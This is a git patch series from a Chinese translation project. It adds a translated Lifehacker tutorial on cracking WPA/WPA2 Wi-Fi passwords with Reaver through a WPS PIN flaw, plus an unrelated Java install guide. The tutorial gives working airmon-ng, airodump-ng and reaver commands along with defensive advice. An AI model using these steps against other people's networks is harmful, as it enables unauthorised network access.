-[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2011%2F12%2Fresearchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 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-[11]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2Fissues%2Fdetail%3Fid%3D44&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[12]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2Fwiki%2Findex.php%2FSupported_Devices&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap -[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt -[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt -[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt -[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router diff --git a/translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md new file mode 100644 index 0000000000..63554bf968 --- /dev/null +++ b/translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md @@ -0,0 +1,154 @@ +如何使用Reaver破解Wi-Fi网络的WPA密码 +================================================================================ +![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) + +Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希望隔壁抠门猥琐男总是蹭我们的网，所以自然要给WiFi加个密码，对吧？于是，好消息是，也许你已经看过我的另一篇文章，“[如何轻易破解WEP密码][1]”,所以你使用了更稳固的WPA安全协议。 + +但坏消息是，现在有一款自由开源新工具——[Reaver][2]，已经挖掘出了无线路由器的一个漏洞，由此能够破解绝大多数路由器上的密码。今天，我就来一步步介绍，如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。 + +文章的第一部分，是使用Reaver破解WPA的详细步骤，读者可以看视频，也可以跟着下面的文字一起做。然后，我会解释Reaver的工作原理。最后，介绍如何防范Reaver攻击。 + +[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3] + +在正式开始之前，我还是要不厌其烦强调一下：知识就是力量，但是拥有力量不代表着可以为所欲为、触犯法律。同样，骑白马的不一定是王子，会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证，只适用于学习。你知道的越多，就能够越好的保护自己。 + +###准备工作### + +首先，无需成为一名网络专家，学会使用复杂的命令行工具，你只需要准备一张空白DVD、一台能连接WiFi的电脑，并腾出几个小时时间，这就是我们基本需要的东西。要安装Reaver，可以有很多方法，但是这里我们建议你按照下面的指南来做： + +![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) + +- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版，上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件，但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面（传送门）][5]下载Live DVD，然后刻盘。这里你也可以下载镜像然后使用VMware安装，如果你不知道VMware是啥，额，那就还是刻盘吧。如图所示，下载的时候，下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统（如果这里不确定是32还是64，为了保险起见，请选择32位），下载类型选择ISO，然后就可以点击下载了。 + +- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡，这一点对于大多数读者应该没什么问题。同时，你的电脑需要有一个DVD光驱，这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。 + +- **附近要有采用WPA加密的WiFi网络**。没WiFi网，你破解谁去=。= ……一会我会在“Reaver的工作原理部分”介绍，WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。 + +- **最后，你还需要一点点的耐心**。这是整个实验的最后一步，使用Reaver破解WPA密码并不难，它采用的是暴力破解，因此，你的电脑将会测试大量不同的密码组合，来尝试破解路由器，直到最终找到正确的密码。我测试的时候，Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍，一般这个时间在4到10个小时之间，视具体情况而定。 + +###让我们开始吧### + +此时，你应该已经把BackTrack的DVD光盘刻录好了，笔记本也应该已经准备就绪。 + +####第1步：启动BackTrack#### + +要启动BackTrack，只需将DVD放入光驱，电脑从光盘启动。（如果不知道如何使用live CD或DVD启动，请自行Google。）启动过程中，BackTrack会让你选择启动模式，选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。 + +最终BackTrack会来到一个命令行界面，键入`startx`，回车，BackTrack就会进入它的图形界面。 + +####第2步：安装Reaver#### + +（文章更新：Reaver在R3版中已经预装，如果你安装的是BT5的R3版，这一步骤可以忽略，直接跳到第3步。） + +Reaver已经加入了BackTrack的最新版软件包，只是还没有集成到live DVD里，所以，在本文最初撰写的时候，你还需要手动安装Reaver。要安装Reaver，首先设置电脑联网。 + +1.点击Applications > Internet > Wicd Network Manager +2.选择你的网络并点击Connect，如果需要的话，键入密码，点击OK，然后再次点击Connect。 + +连上网以后，安装Reaver。点击菜单栏里的终端按钮（或者依次点击 Applications > Accessories > Terminal）。在终端界面，键入以下命令： + + apt-get update + +更新完成之后，键入： + + apt-get install reaver + +如果一切顺利，Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网，那么在继续下面的操作之前，请先断开网络连接，并假装不知道WiFi密码=。= 接下来我们要准备破解它~ + +####第3步：搜集设备信息，准备破解#### + +在使用Reaver之前，你需要获取你无线网卡的接口名称、路由的BSSID（BSSID是一个由字母和数字组成的序列，用于作为路由器的唯一标识）、以及确保你的无线网卡处于监控模式。具体参见以下步骤。 + +**找到无线网卡：**在终端里，键入： + + iwconfig + +回车。此时你应该看到无线设备的相关信息。一般，名字叫做`wlan0`，但如果你的机子不止一个无线网卡，或者使用的是不常见的网络设备，名字可能会有所不同。 + +![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) + +**将无线网卡设置为监控模式**：假设你的无线网卡接口名称为`wlan0`，执行下列命令，将无线网卡设置为监控模式： + + airmon-ng start wlan0 + +这一命令将会输出监控模式接口的名称，如下图中箭头所示，一般情况下，都叫做`mon0`。 + +![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) + +**找到你打算破解的路由器的BSSID**：最后，你需要获取路由器的唯一标识，以便Reaver指向要破解的目标。执行以下命令： + + airodump-ng wlan0 + +（注意：如果`airodump-ng wlan0`命令执行失败，可以尝试对监控接口执行，例如`airodump-ng mon0`） + +此时，你将看到屏幕上列出周围一定范围内的无线网络，如下图所示： + +![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) + +当看到你想要破解的网络时，按下Ctrl+C，停止列表刷新，然后复制该网络的BSSID（图中左侧字母、数字和分号组成的序列）。从ENC这一列可以看出，该网络是WPA或WPA2协议。（如果为WEP协议，可以参考我的[前一篇文章——WEP密码破解指南][7]） + +现在，手里有了BSSID和监控接口的名称，万事俱备，只欠破解了。 + +####第4步：使用Reaver破解无线网络的WPA密码#### + +在终端中执行下列命令，用你实际获取到的BSSID替换命令中的 `bssid` ： + + reaver -i moninterface -b bssid -vv + +例如，如果你和我一样，监控接口都叫做 `mon0`，并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`，那么命令应该是下面这个样子： + + reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv + +最后，回车！接下来，就是喝喝茶、发发呆，等待Reaver魔法的发生。Reaver将会通过暴力破解，尝试一系列PIN码，这将会持续一段时间，在我的测试中，Reaver花了2个半小时破解网络，得出正确密码。正如前文中提到过的，Reaver的文档号称这个时间一般在4到10个小时之间，因此根据实际情况不同，这个时间也会有所变化。当Reaver的破解完成时，它看起来是下图中这个样子： + +![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) + +**一些要强调的事实**：Reaver在我的测试中工作良好，但是并非所有的路由器都能顺利破解（后文会具体介绍）。并且，你要破解的路由器需要有一个相对较强的信号，否则Reaver很难正常工作，可能会出现其他一些意想不到的问题。整个过程中，Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们，只是保持电脑尽量靠近路由器，Reaver最终会自行处理这些问题。 + +除此以外，你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序，但是Reaver下次启动的时候会自动恢复继续之前的工作，前提是只要你没有关闭或重启电脑（如果你直接在live DVD里运行，关闭之前的工作都会丢失）。 + +###Reaver的工作原理### + +你已经学会了使用Reaver，现在，让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置（WiFi Protected Setup - 下文中简称为WPS）的一个弱点，WPS是许多路由器上都有的一个功能，可以为用户提供简单的配置过程，它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷，最终的结果就是，只要有足够的时间，它就能破解WPA或WPA2的密码。 + +关于这个缺陷的具体细节，参看[Sean Gallagher's excellent post on Ars Technica][8]。 + +###如何防范Reaver攻击### + +该缺陷存在于WPS的实现过程中，因此，如果能够关闭WPS，WiFi就是安全的（或者，更好的情况是，你的路由器天生就木有这一功能）。但不幸的是，正如Gallagher[在Ars的文章中所指出的][9]，即使在路由器设置中人为关掉了WPS，Reaver仍然能够破解其密码。 + +> 在一次电话通话中，Craig Heffner说道，很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过，所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上，你甚至无法手动关闭WPS，”他说，尽管Web界面中有关闭WPS配置的按钮，但是“它仍然会自动打开，极易受到攻击”。 + +因此，方法一：失败！。也许你可以亲自尝试把你的路由器WPS关闭，然后测试一下Reaver是否还能成功破解。 + +你也可以在路由器中设置一下MAC地址过滤（只允许指定的白名单设备连接你的网络），但是有经验的黑客还是能够检测出设备的白名单MAC地址，并使用MAC地址仿冒你的计算机。 + +方法二：失败！那到底该怎么办？ + +我的建议是，我曾经在我的路由器上安装了开源路由固件[DD-WRT][10]，成功防御了Reaver攻击。因为，[DD-WRT天生就是不支持WPS的][11]，因此，这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣，可以看一下这里的[设备支持列表][12]，看是否支持你的路由器设备。除了安全上的升级，DD-WRT还可以[监控网络行为][13]，[设置网络驱动器][14]，[拦截广告][15]，[增强WiFi信号范围][16]等，它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]！ + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver + +译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack 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+[12]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2Fwiki%2Findex.php%2FSupported_Devices&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap +[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt +[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt +[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt +[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router From f344a3c208781dac32905eff98516bcd1a2fcf6d Mon Sep 17 00:00:00 2001 From: whatever1992 <799758730@qq.com> Date: Wed, 4 Dec 2013 22:31:03 +0800 Subject: [PATCH 117/148] translated by whatever1992 --- ...Java 7 in Elementary OS ‘Luna’ Via PPA.md~ | 88 +++++++++++++++++++ ... Java 7 in Elementary OS ‘Luna’ Via PPA.md | 34 ++++--- 2 files changed, 104 insertions(+), 18 deletions(-) create mode 100644 sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ rename {sources => translated}/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md (72%) diff --git a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ new file mode 100644 index 0000000000..2591e3eb3a --- /dev/null +++ b/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md~ @@ -0,0 +1,88 @@ +使用PPA在Elementary OS 'Luna'上安装Oracle Java 7 +================================================================================ +**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7？ + +**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下: +由于Elementary OS是基于Ubuntu，所以我们允许使用具有多种Java包的**WEPUD8 PPA**。 + +1. 打开终端。 + +2. 运行以下指令添加Java的PPA到你的软件仓: + + $ sudo add-apt-repository ppa:webupd8team/java + + You are about to add the following PPA to your system: + Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html + Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html + More info: https://launchpad.net/~webupd8team/+archive/java + Press [ENTER] to continue or ctrl-c to cancel adding it + +3. 按回车继续 + + gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created + gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created + gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com + gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created + gpg: key EEA14886: public key "Launchpad VLC" imported + gpg: Total number processed: 1 + gpg: imported: 1 (RSA: 1) + OK + +4. 现在更新你的系统 + + $ sudo apt-get update + +5. 运行以下命令安装Java 7: + + $ sudo apt-get install oracle-java7-installer + + [sudo] password for enock: + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following packages were automatically installed and are no longer required: + gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4 + libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6 + rsync netpbm libgvc5 libnetpbm10 libgraph4 + Use 'apt-get autoremove' to remove them. + The following extra packages will be installed: + gsfonts-x11 java-common + Suggested packages: + default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts + ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho + ttf-sazanami-mincho ttf-arphic-uming + The following NEW packages will be installed: + gsfonts-x11 java-common oracle-java7-installer + 0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded. + Need to get 88.5 kB of archives. + After this operation, 473 kB of additional disk space will be used. + Do you want to continue [Y/n]? + +6. 输入代表Yes的**Y**以及回车键继续安装。 + +7. 在安装过程中，你需要同意条款才能继续。选择**OK**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png) + +8. 然后选择**Yes**继续。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png) + +9. 现在请等待安装包的下载与自动安装: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png) + +10. 安装完成。你可以在终端上查看Java版本: + + $ java -version + java version "1.7.0_45" + Java(TM) SE Runtime Environment (build 1.7.0_45-b18) + Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/ + +译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md b/translated/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md similarity index 72% rename from sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md rename to translated/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md index 0142fdb86f..2591e3eb3a 100644 --- a/sources/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md +++ b/translated/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md @@ -1,15 +1,13 @@ -(translating by whatever1992) -Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA +使用PPA在Elementary OS 'Luna'上安装Oracle Java 7 ================================================================================ -**Question**: How can I install Oracle Java 7 in Elemetary OS Luna? +**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7？ -**Answer**: To install Java 7 in Elementary OS Luna follow the steps below: +**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下: +由于Elementary OS是基于Ubuntu，所以我们允许使用具有多种Java包的**WEPUD8 PPA**。 -Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** which has various Java packages in it. +1. 打开终端。 -1. Open Terminal. - -2. Run the command below to add Java PPA to your repository: +2. 运行以下指令添加Java的PPA到你的软件仓: $ sudo add-apt-repository ppa:webupd8team/java @@ -19,7 +17,7 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic More info: https://launchpad.net/~webupd8team/+archive/java Press [ENTER] to continue or ctrl-c to cancel adding it -3. Press ENTER to continue +3. 按回车继续 gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created @@ -30,11 +28,11 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic gpg: imported: 1 (RSA: 1) OK -4. Now update your system +4. 现在更新你的系统 $ sudo apt-get update -5. Install Java 7 by running the command below: +5. 运行以下命令安装Java 7: $ sudo apt-get install oracle-java7-installer @@ -60,21 +58,21 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic After this operation, 473 kB of additional disk space will be used. Do you want to continue [Y/n]? -6. Type **Y** for Yes and Press enter to continue installation. +6. 输入代表Yes的**Y**以及回车键继续安装。 -7. During the installation, you need to agree to the license to continue. Select **OK**. +7. 在安装过程中，你需要同意条款才能继续。选择**OK**。 ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png) -8. Then Select **Yes** to continue. +8. 然后选择**Yes**继续。 ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png) -9. Now relax for the packages to be downloaded and installed automatically: +9. 现在请等待安装包的下载与自动安装: ![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png) -7. Installation has been completed successfully. You can now check the version of Java from the Terminal: +10. 安装完成。你可以在终端上查看Java版本: $ java -version java version "1.7.0_45" @@ -85,6 +83,6 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/ -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[whatever1992](https://github.com/whatever1992) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 74200dda6a67ed699aff4e838bf0523ef516203c Mon Sep 17 00:00:00 2001 From: wxy Date: Thu, 5 Dec 2013 09:08:15 +0800 Subject: [PATCH 118/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AHow=20to=20C?= =?UTF-8?q?rack=20a=20Wi-Fi=20Network's=20WPA=20Password=20with=20Reaver?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...i-Fi Network's WPA Password with Reaver.md | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) rename {translated => published}/How to Crack a Wi-Fi Network's WPA Password with Reaver.md (76%) diff --git a/translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/published/How to Crack a Wi-Fi Network's WPA Password with Reaver.md similarity index 76% rename from translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md rename to published/How to Crack a Wi-Fi Network's WPA Password with Reaver.md index 63554bf968..45ce3b1c1c 100644 --- a/translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md +++ b/published/How to Crack a Wi-Fi Network's WPA Password with Reaver.md @@ -2,7 +2,7 @@ ================================================================================ ![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) -Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希望隔壁抠门猥琐男总是蹭我们的网，所以自然要给WiFi加个密码，对吧？于是，好消息是，也许你已经看过我的另一篇文章，“[如何轻易破解WEP密码][1]”,所以你使用了更稳固的WPA安全协议。 +Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希望隔壁抠门猥琐男总是蹭我们的网，所以自然要给WiFi加个密码，对吧？于是，好消息是，也许你已经看过我的另一篇文章，“[如何轻易破解WEP密码][1]”，所以你使用了更稳固的WPA安全协议。 但坏消息是，现在有一款自由开源新工具——[Reaver][2]，已经挖掘出了无线路由器的一个漏洞，由此能够破解绝大多数路由器上的密码。今天，我就来一步步介绍，如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。 @@ -22,7 +22,7 @@ Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希 - **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡，这一点对于大多数读者应该没什么问题。同时，你的电脑需要有一个DVD光驱，这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。 -- **附近要有采用WPA加密的WiFi网络**。没WiFi网，你破解谁去=。= ……一会我会在“Reaver的工作原理部分”介绍，WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。 +- **附近要有采用WPA加密的WiFi网络**。没WiFi网，你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍，WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。 - **最后，你还需要一点点的耐心**。这是整个实验的最后一步，使用Reaver破解WPA密码并不难，它采用的是暴力破解，因此，你的电脑将会测试大量不同的密码组合，来尝试破解路由器，直到最终找到正确的密码。我测试的时候，Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍，一般这个时间在4到10个小时之间，视具体情况而定。 @@ -53,7 +53,7 @@ Reaver已经加入了BackTrack的最新版软件包，只是还没有集成到li apt-get install reaver -如果一切顺利，Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网，那么在继续下面的操作之前，请先断开网络连接，并假装不知道WiFi密码=。= 接下来我们要准备破解它~ +如果一切顺利，Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网，那么在继续下面的操作之前，请先断开网络连接，并假装不知道WiFi密码 =。= 接下来我们要准备破解它~ ####第3步：搜集设备信息，准备破解#### @@ -131,22 +131,22 @@ Reaver已经加入了BackTrack的最新版软件包，只是还没有集成到li via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver -译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 [1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack -[2]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[2]:http://code.google.com/p/reaver-wps/ [3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 -[4]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[5]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[6]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[4]:http://www.backtrack-linux.org/downloads/ +[5]:http://www.backtrack-linux.org/downloads/ +[6]:http://code.google.com/p/reaver-wps/ [7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack -[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2011%2F12%2Fresearchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[9]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2012%2F01%2Fhands-on-hacking-wifi-protected-setup-with-reaver.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[10]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[11]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2Fissues%2Fdetail%3Fid%3D44&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 